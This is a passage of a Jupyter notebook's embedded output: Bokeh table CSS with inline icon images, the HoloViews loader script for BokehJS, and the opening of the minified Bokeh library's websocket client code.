.slick-header-column-active{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAWAIcAAKrM9tno++vz/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABYAAAgUAAUIHEiwoIAACBMqXMhwIQAAAQEAOw==\\\\\\\")}.bk-root .slick-group-toggle.expanded{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIMwADCBxIUIDBgwIEChgwwECBAgQUFjBAkaJCABgxGlB4AGHCAAIQiBypEEECkScJqgwQEAA7\\\\\\\")}.bk-root .slick-group-toggle.collapsed{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIOAADCBxIUIDBgwIEChgwAECBAgQUFjAAQIABAwoBaNSIMYCAAwIqGlSIAEHFkiQTIBCgkqDLAAEBADs=\\\\\\\")}.bk-root .slick-group-select-checkbox.checked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAAEcSURBVChTjdI9S8NQFAbg/raQXVwCRRFE7GK7OXTwD+ikk066VF3a0ja0hQTyQdJrwNq0zrYSQRLEXMSWSlCIb8glqRcFD+9yz3nugXwU4n9XQqMoGjj36uBJsTwuaNo3EwBG4Yy7pe7Gv8YcvhJCGFVsjxsjxujj6OTSGlHv+U2WZUZbPWKOv1ZjT5a7pbIoiptbO5b73mwrjHa1B27l8VlTEIS1damlTnEE+EEN9/P8WrfH81qdAIGeXvTTmzltdCy46sEhxpKUINReZR9NnqZbr9puugxV3NjWh/k74WmmEdWhmUNy2jNmWRc6fZTVADCqao52u+DGWTACYNT3fRxwtatPufTNR4yCIGAUn5hS+vJHhWGY/ANx/A3tvdv+1tZmuwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .slick-group-select-checkbox.unchecked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAACXSURBVChT1dIxC4MwEAXg/v8/VOhQVDBNakV0KA6pxS4JhWRSIYPEJxwdDi1de7wleR+3JIf486w0hKCKRpSvvOhZcCmvNQBRuKqdah03U7UjNNH81rOaBYDo8SQaPX8JANFEaLaGBeAPaaY61rGksiN6TmR5H1j9CSoAosYYHLA7vTxYMvVEZa0liif23r93xjm3/oEYF8PiDn/I2FHCAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .slick-sort-indicator-desc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgeAAUAGEgQgIAACBEKLHgwYcKFBh1KFNhQosOKEgMCADs=\\\\\\\")}.bk-root .slick-sort-indicator-asc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgbAAMIDABgoEGDABIeRJhQ4cKGEA8KmEiRosGAADs=\\\\\\\")}.bk-root .slick-header-menubutton{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDgAOAIABADtKYwAAACH5BAEAAAEALAAAAAAOAA4AAAISjI+py+0PHZgUsGobhTn6DxoFADs=\\\\\\\")}.bk-root .slick-pager{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .bk-data-table{font-size:11px}.bk-root .bk-data-table input[type=\\\\\\\"checkbox\\\\\\\"]{margin-left:4px;margin-right:4px}.bk-root .bk-data-table *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-data-table *:before,.bk-root .bk-data-table *:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-cell-special-defaults{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-select{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-index{border-right-color:silver;border-right-style:solid;background:#f5f5f5;text-align:right;color:gray}.bk-root .bk-header-index .slick-column-name{float:right}.bk-root .slick-row.selected .bk-cell-index{background-color:transparent}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-cell.active{border-style:dashed}.bk-root .slick-cell.editable{padding-left:0;padding-right:0}.bk-root .bk-cell-editor input,.bk-root .bk-cell-editor select{width:100%;height:100%;border:0;margin:0;padding:0;outline:0;background:transparent;vertical-align:baseline}.bk-root .bk-cell-editor input{padding-left:4px;padding-right:4px}.bk-root .bk-cell-editor-completion{font-size:11px}\\\\n/* END bokeh-tables.min.css */\\\");\\n\",\n       \"    }\\n\",\n       \"  ];\\n\",\n       \"\\n\",\n       \"  function run_inline_js() {\\n\",\n       \"    \\n\",\n       \"    if ((root.Bokeh !== undefined) || (force === true)) {\\n\",\n       \"      for (var i = 0; i < inline_js.length; i++) {\\n\",\n       \"        inline_js[i].call(root, root.Bokeh);\\n\",\n       \"      }} else if (Date.now() < root._bokeh_timeout) {\\n\",\n       \"      setTimeout(run_inline_js, 100);\\n\",\n       \"    } else if (!root._bokeh_failed_load) {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS failed to load within specified timeout.\\\");\\n\",\n       \"      root._bokeh_failed_load = true;\\n\",\n       \"    } else if (force !== true) {\\n\",\n       \"      var cell = $(document.getElementById(null)).parents('.cell').data().cell;\\n\",\n       \"      cell.output_area.append_execute_result(NB_LOAD_WARNING)\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  if (root._bokeh_is_loading === 0) {\\n\",\n       \"    console.log(\\\"Bokeh: BokehJS loaded, going straight to plotting\\\");\\n\",\n       \"    run_inline_js();\\n\",\n       \"  } else {\\n\",\n       \"    load_libs(js_urls, function() {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS plotting callback run at\\\", now());\\n\",\n       \"      run_inline_js();\\n\",\n       \"    });\\n\",\n       \"  }\\n\",\n       \"}(window));\"\n      ],\n      \"application/vnd.holoviews_load.v0+json\": \"\\n(function(root) {\\n  function now() {\\n    return new Date();\\n  }\\n\\n  var force = true;\\n\\n  if (typeof (root._bokeh_onload_callbacks) === \\\"undefined\\\" || force === true) {\\n    root._bokeh_onload_callbacks = [];\\n    root._bokeh_is_loading = undefined;\\n  }\\n\\n  \\n\\n  \\n  if (typeof (root._bokeh_timeout) === \\\"undefined\\\" || force === true) {\\n    root._bokeh_timeout = Date.now() + 5000;\\n    root._bokeh_failed_load = false;\\n  }\\n\\n  var NB_LOAD_WARNING = {'data': {'text/html':\\n     \\\"<div style='background-color: #fdd'>\\\\n\\\"+\\n     \\\"<p>\\\\n\\\"+\\n     \\\"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\\\n\\\"+\\n     \\\"may be due to a slow or bad network connection. Possible fixes:\\\\n\\\"+\\n     \\\"</p>\\\\n\\\"+\\n     \\\"<ul>\\\\n\\\"+\\n     \\\"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\\\n\\\"+\\n     \\\"<li>use INLINE resources instead, as so:</li>\\\\n\\\"+\\n     \\\"</ul>\\\\n\\\"+\\n     \\\"<code>\\\\n\\\"+\\n     \\\"from bokeh.resources import INLINE\\\\n\\\"+\\n     \\\"output_notebook(resources=INLINE)\\\\n\\\"+\\n     \\\"</code>\\\\n\\\"+\\n     \\\"</div>\\\"}};\\n\\n  function display_loaded() {\\n    var el = document.getElementById(null);\\n    if (el != null) {\\n      el.textContent = \\\"BokehJS is loading...\\\";\\n    }\\n    if (root.Bokeh !== undefined) {\\n      if (el != null) {\\n        el.textContent = \\\"BokehJS \\\" + root.Bokeh.version + \\\" successfully loaded.\\\";\\n      }\\n    } else if (Date.now() < root._bokeh_timeout) {\\n      setTimeout(display_loaded, 100)\\n    }\\n  }\\n\\n\\n  function run_callbacks() {\\n    try {\\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\\n    }\\n    finally {\\n      delete root._bokeh_onload_callbacks\\n    }\\n    console.info(\\\"Bokeh: all callbacks have finished\\\");\\n  }\\n\\n  function load_libs(js_urls, callback) {\\n    root._bokeh_onload_callbacks.push(callback);\\n    if (root._bokeh_is_loading > 0) {\\n      console.log(\\\"Bokeh: BokehJS is being loaded, scheduling callback at\\\", now());\\n      return null;\\n    }\\n    if (js_urls == null || js_urls.length === 0) {\\n      run_callbacks();\\n      return null;\\n    }\\n    console.log(\\\"Bokeh: BokehJS not loaded, scheduling load and callback at\\\", now());\\n    root._bokeh_is_loading = js_urls.length;\\n    for (var i = 0; i < js_urls.length; i++) {\\n      var url = js_urls[i];\\n      var s = document.createElement('script');\\n      s.src = url;\\n      s.async = false;\\n      s.onreadystatechange = s.onload = function() {\\n        root._bokeh_is_loading--;\\n        if (root._bokeh_is_loading === 0) {\\n          console.log(\\\"Bokeh: all BokehJS libraries loaded\\\");\\n          run_callbacks()\\n        }\\n      };\\n      s.onerror = function() {\\n        console.warn(\\\"failed to load library \\\" + url);\\n      };\\n      console.log(\\\"Bokeh: injecting script tag for BokehJS library: \\\", url);\\n      document.getElementsByTagName(\\\"head\\\")[0].appendChild(s);\\n    }\\n  };\\n\\n  var js_urls = [];\\n\\n  var inline_js = [\\n    function(Bokeh) {\\n      /* BEGIN bokeh.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var o,s,r,a,l;t.Bokeh=(o=[function(t,e,i){var n=t(153),r=t(32);i.overrides={};var o=r.clone(n);i.Models=function(t){var e=i.overrides[t]||o[t];if(null==e)throw new Error(\\\"Model '\\\"+t+\\\"' does not exist. This could be due to a widget\\\\n                     or a custom model not being registered before first usage.\\\");return e},i.Models.register=function(t,e){i.overrides[t]=e},i.Models.unregister=function(t){delete i.overrides[t]},i.Models.register_models=function(t,e,i){if(void 0===e&&(e=!1),null!=t)for(var n in t){var r=t[n];e||!o.hasOwnProperty(n)?o[n]=r:null!=i?i(n):console.warn(\\\"Model '\\\"+n+\\\"' was already registered\\\")}},i.register_models=i.Models.register_models,i.Models.registered_names=function(){return Object.keys(o)},i.index={}},function(t,e,o){var s=t(336),a=t(14),l=t(52),h=t(282),u=t(283),c=t(2);o.DEFAULT_SERVER_WEBSOCKET_URL=\\\"ws://localhost:5006/ws\\\",o.DEFAULT_SESSION_ID=\\\"default\\\";var _=0,p=function(){function t(t,e,i,n,r){void 0===t&&(t=o.DEFAULT_SERVER_WEBSOCKET_URL),void 0===e&&(e=o.DEFAULT_SESSION_ID),void 0===i&&(i=null),void 0===n&&(n=null),void 0===r&&(r=null),this.url=t,this.id=e,this.args_string=i,this._on_have_session_hook=n,this._on_closed_permanently_hook=r,this._number=_++,this.socket=null,this.session=null,this.closed_permanently=!1,this._current_handler=null,this._pending_ack=null,this._pending_replies={},this._receiver=new u.Receiver,a.logger.debug(\\\"Creating websocket \\\"+this._number+\\\" to '\\\"+this.url+\\\"' session '\\\"+this.id+\\\"'\\\")}return t.prototype.connect=function(){var i=this;if(this.closed_permanently)return s.Promise.reject(new Error(\\\"Cannot connect() a closed ClientConnection\\\"));if(null!=this.socket)return s.Promise.reject(new Error(\\\"Already connected\\\"));this._pending_replies={},this._current_handler=null;try{var t=this.url+\\\"?bokeh-protocol-version=1.0&bokeh-session-id=\\\"+this.id;return null!=this.args_string&&0<this.args_string.length&&(t+=\\\"&\\\"+this.args_string),this.socket=new WebSocket(t),new s.Promise(function(t,e){i.socket.binaryType=\\\"arraybuffer\\\",i.socket.onopen=function(){return i._on_open(t,e)},i.socket.onmessage=function(t){return i._on_message(t)},i.socket.onclose=function(t){return i._on_close(t)},i.socket.onerror=function(){return i._on_error(e)}})}catch(t){return a.logger.error(\\\"websocket creation failed to url: \\\"+this.url),a.logger.error(\\\" - \\\"+t),s.Promise.reject(t)}},t.prototype.close=function(){this.closed_permanently||(a.logger.debug(\\\"Permanently closing websocket connection \\\"+this._number),this.closed_permanently=!0,null!=this.socket&&this.socket.close(1e3,\\\"close method called on ClientConnection \\\"+this._number),this.session._connection_closed(),null!=this._on_closed_permanently_hook&&(this._on_closed_permanently_hook(),this._on_closed_permanently_hook=null))},t.prototype._schedule_reconnect=function(t){var e=this;setTimeout(function(){e.closed_permanently||a.logger.info(\\\"Websocket connection \\\"+e._number+\\\" disconnected, will not attempt to reconnect\\\")},t)},t.prototype.send=function(t){if(null==this.socket)throw new Error(\\\"not connected so cannot send \\\"+t);t.send(this.socket)},t.prototype.send_with_reply=function(i){var n=this,t=new s.Promise(function(t,e){n._pending_replies[i.msgid()]=[t,e],n.send(i)});return t.then(function(t){if(\\\"ERROR\\\"===t.msgtype())throw new Error(\\\"Error reply \\\"+t.content.text);return t},function(t){throw t})},t.prototype._pull_doc_json=function(){var t=h.Message.create(\\\"PULL-DOC-REQ\\\",{}),e=this.send_with_reply(t);return e.then(function(t){if(!(\\\"doc\\\"in t.content))throw new Error(\\\"No 'doc' field in PULL-DOC-REPLY\\\");return t.content.doc},function(t){throw t})},t.prototype._repull_session_doc=function(){var r=this;null==this.session?a.logger.debug(\\\"Pulling session for first time\\\"):a.logger.debug(\\\"Repulling session\\\"),this._pull_doc_json().then(function(t){if(null==r.session)if(r.closed_permanently)a.logger.debug(\\\"Got new document after connection was already closed\\\");else{var e=l.Document.from_json(t),i=l.Document._compute_patch_since_json(t,e);if(0<i.events.length){a.logger.debug(\\\"Sending \\\"+i.events.length+\\\" changes from model construction back to server\\\");var n=h.Message.create(\\\"PATCH-DOC\\\",{},i);r.send(n)}r.session=new c.ClientSession(r,e,r.id),a.logger.debug(\\\"Created a new session from new pulled doc\\\"),null!=r._on_have_session_hook&&(r._on_have_session_hook(r.session),r._on_have_session_hook=null)}else r.session.document.replace_with_json(t),a.logger.debug(\\\"Updated existing session with new pulled doc\\\")},function(t){throw t}).catch(function(t){null!=console.trace&&console.trace(t),a.logger.error(\\\"Failed to repull session \\\"+t)})},t.prototype._on_open=function(t,e){var i=this;a.logger.info(\\\"Websocket connection \\\"+this._number+\\\" is now open\\\"),this._pending_ack=[t,e],this._current_handler=function(t){i._awaiting_ack_handler(t)}},t.prototype._on_message=function(t){null==this._current_handler&&a.logger.error(\\\"Got a message with no current handler set\\\");try{this._receiver.consume(t.data)}catch(t){this._close_bad_protocol(t.toString())}if(null!=this._receiver.message){var e=this._receiver.message,i=e.problem();null!=i&&this._close_bad_protocol(i),this._current_handler(e)}},t.prototype._on_close=function(t){var i=this;a.logger.info(\\\"Lost websocket \\\"+this._number+\\\" connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\"),(this.socket=null)!=this._pending_ack&&(this._pending_ack[1](new Error(\\\"Lost websocket connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\")),this._pending_ack=null);for(var e=function(){for(var t in i._pending_replies){var e=i._pending_replies[t];return delete i._pending_replies[t],e}return null},n=e();null!=n;)n[1](\\\"Disconnected\\\"),n=e();this.closed_permanently||this._schedule_reconnect(2e3)},t.prototype._on_error=function(t){a.logger.debug(\\\"Websocket error on socket \\\"+this._number),t(new Error(\\\"Could not open websocket\\\"))},t.prototype._close_bad_protocol=function(t){a.logger.error(\\\"Closing connection: \\\"+t),null!=this.socket&&this.socket.close(1002,t)},t.prototype._awaiting_ack_handler=function(t){var e=this;\\\"ACK\\\"===t.msgtype()?(this._current_handler=function(t){return 